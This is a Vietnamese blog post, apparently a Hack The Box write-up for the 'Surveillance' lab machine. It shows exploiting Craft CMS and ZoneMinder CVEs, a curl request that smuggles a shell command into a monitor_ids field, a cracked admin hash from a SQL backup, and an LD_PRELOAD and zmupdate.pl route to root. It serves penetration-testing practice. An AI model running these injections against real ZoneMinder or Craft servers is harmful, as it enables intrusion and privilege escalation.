Surveillance

Enumeration

Zenmap:

Kiểm tra website:

ffuf:

Kiểm tra page admin

Gaining access www-data

Kiểm tra các lỗ hổng liên quan tới Craft CMS: CVE 2023 41892 POC
Chỉnh sửa lại poc trên, trong function getTmpUploadDirAndDocumentRoot tôi thấy upload_tmp_dir trả về là <i>no value</i> nên tôi thay thế <i>no value</i> cho no value.
Sau đó tôi có khai thác sau:
Tạo một reverse shell:

Gaining access matthew 

Tìm kiếm các file và folder xung quanh tôi thấy file backup sql:
www-data@surveillance:~/html/craft/storage/backups$ ls
ls
surveillance--2023-10-17-202801--v4.4.14.sql.zip
www-data@surveillance:~/html/craft/storage/backups$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
<ip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
www-data@surveillance:~/html/craft/storage/backups$ cat surveillance--2023-10-17-202801--v4.4.14.sql
<s$ cat surveillance--2023-10-17-202801--v4.4.14.sql
-- MariaDB dump 10.19  Distrib 10.6.12-MariaDB, for debian-linux-gnu (x86_64)
........

--
-- Dumping data for table `users`
--

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
set autocommit=0;
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39************************************************************ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
commit;

......
-- Dump completed on 2023-10-17 20:28:02
www-data@surveillance:~/html/craft/storage/backups$
Tôi thấy một hash password cho user matthew. Crack nó và tôi có quyền truy cập matthew.

Gaining access zoneminder

Kiểm tra các port đang mở:
Tôi thấy port 8080 đang được mở ở local. Forward port 8080:
Tìm kiếm các lỗ hổng về ZoneMinder:  CVE 2023 26035
Có 2 cách để sử dụng khai thác này: dùng msfconsole hoặc gọi khai thác thủ công.
Vì sử dụng windows nên tôi không thể khai thác với msfconsole. Khi đó đọc mã nguồn ruby này và tôi có khai thác như sau:
PS D:\thehackbox\Machines\Surveillance> curl.exe -X POST "http://localhost:8081/" \
-d "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep%205&__csrf_magic=<csrf_magic value>" \
--proxy http://127.0.0.1:8080
PS D:\thehackbox\Machines\Surveillance>
Kiểm tra burp, sau đó tôi trèn mã sau:
Khi đó tôi nhận được kết nối sau:
Tạo một kết nối reverse shell:

Privilege escalation

Có rất nhiều file để khai thác root.
Khai thác đầu tiên file zmdc.pl
Tôi thấy:
$ENV{PATH}  = '/bin:/usr/bin:/usr/local/bin';
$ENV{SHELL} = '/bin/sh' if exists $ENV{SHELL};
if ( $Config{ZM_LD_PRELOAD} ) {
  Debug("Adding ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD}");
  $ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD};
  foreach my $lib ( split(/\s+/, $ENV{LD_PRELOAD} ) ) {
    if ( ! -e $lib ) {
      Warning("LD_PRELOAD lib $lib does not exist from LD_PRELOAD $ENV{LD_PRELOAD}.");
    }
  }
}
delete @ENV{qw(IFS CDPATH ENV BASH_ENV)};
Chương trình load lib LD_PRELOAD từ ZM_LD_PRELOAD đã config trong db.
Trước đó tôi tìm thấy thông tin truy cập db như sau:
zoneminder@surveillance:/tmp$ cd /usr/share/zoneminder/www/api/app/Config/
cd /usr/share/zoneminder/www/api/app/Config/
zoneminder@surveillance:/usr/share/zoneminder/www/api/app/Config$ ls
ls
Schema       bootstrap.php     database.php          routes.php
acl.ini.php  core.php          database.php.default
acl.php      core.php.default  email.php.default
zoneminder@surveillance:/usr/share/zoneminder/www/api/app/Config$ cat database.php
<are/zoneminder/www/api/app/Config$ cat database.php
<?php
/**
.........
 */
class DATABASE_CONFIG {

        /*public $default = array(
                'datasource' => 'Database/Mysql',
                'persistent' => false,
                'login' => ZM_DB_USER,
                'password' => ZM_DB_PASS,
                'database' => ZM_DB_NAME,
                'ssl_ca' => ZM_DB_SSL_CA_CERT,
                'ssl_key' => ZM_DB_SSL_CLIENT_KEY,
                'ssl_cert' => ZM_DB_SSL_CLIENT_CERT,
                'prefix' => '',
                'encoding' => 'utf8',
        );*/

        public $test = array(
                'datasource' => 'Database/Mysql',
                'persistent' => false,
                'host' => 'localhost',
                'login' => '<User>',
                'password' => '<Passwd>',
                'database' => 'zm',
                'prefix' => '',
                //'encoding' => 'utf8',
        );

        public function __construct() {
                if (strpos(ZM_DB_HOST, ':')):
                        $array = explode(':', ZM_DB_HOST, 2);
                        if (ctype_digit($array[1])):
                                $this->default['host'] = $array[0];
                                $this->default['port'] = $array[1];
                        else:
                                $this->default['unix_socket'] = $array[1];
                        endif;
                else:
                        $this->default['host'] = ZM_DB_HOST;
                endif;
        }
}
zoneminder@surveillance:/usr/share/zoneminder/www/api/app/Config$
Forward port 3306 và kết nối nó ở local. Khi đó tôi thấy tồn tại  table Config với nội dung sau:
Tôi có khai thác sau:
Tạo file pe.so payload:
Cập nhập value trong table Config.
Hoặc bạn cũng có thể sử dụng command update trong sql:
UPDATE `zm`.`Config` SET `Value` = '/tmp/pe.so' WHERE `Name` = 'ZM_LD_PRELOAD'
Khi đó tôi thực hiện khai thác và có quyền root:

Khai thác file zmupdate.pl:
  if ( $interactive ) {
    if ( $Config{ZM_DYN_DB_VERSION} && ($Config{ZM_DYN_DB_VERSION} ne $version) ) {
      print("\nWARNING - You have specified an upgrade from version $version but the database version found is $Config{ZM_DYN_DB_VERSION}. Is this correct?\nPress enter to continue or ctrl-C to abort : ");
      my $response = <STDIN>;
    }

    .....

    if ( $response =~ /^[yY]$/ ) {
      my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
      my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }
      if ( defined($portOrSocket) ) {
        if ( $portOrSocket =~ /^\// ) {
          $command .= ' -S'.$portOrSocket;
        } else {
          $command .= ' -h'.$host.' -P'.$portOrSocket;
        }
      } else {
        $command .= ' -h'.$host; 
      }
      my $backup = '/tmp/zm/'.$Config{ZM_DB_NAME}.'-'.$version.'.dump';
      $command .= ' --add-drop-table --databases '.$Config{ZM_DB_NAME}.' > '.$backup;
      print("Creating backup to $backup. This may take several minutes.\n");
      ($command) = $command =~ /(.*)/; # detaint
      print("Executing '$command'\n") if logDebugging();
      my $output = qx($command);
      my $status = $? >> 8;
      if ( $status || logDebugging() ) {
        chomp( $output );
        print( "Output: $output\n" );
      }
      if ( $status ) {
        die( "Command '$command' exited with status: $status\n" );
      } else {
        print( "Database successfully backed up to $backup, proceeding to upgrade.\n" );
      }
    } elsif ( $response !~ /^[nN]$/ ) {
      die( "Unexpected response '$response'" );
    }
  }
Từ mã nguồn tôi thấy dbUser được truyền từ đầu vào và không có kiểm tra đầu vào, sau đó chương trình sẽ thực hiện chạy command.
Khi đó tôi có khai thác như sau:
Tạo file pe.sh
Thực hiện chạy khai thác:



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post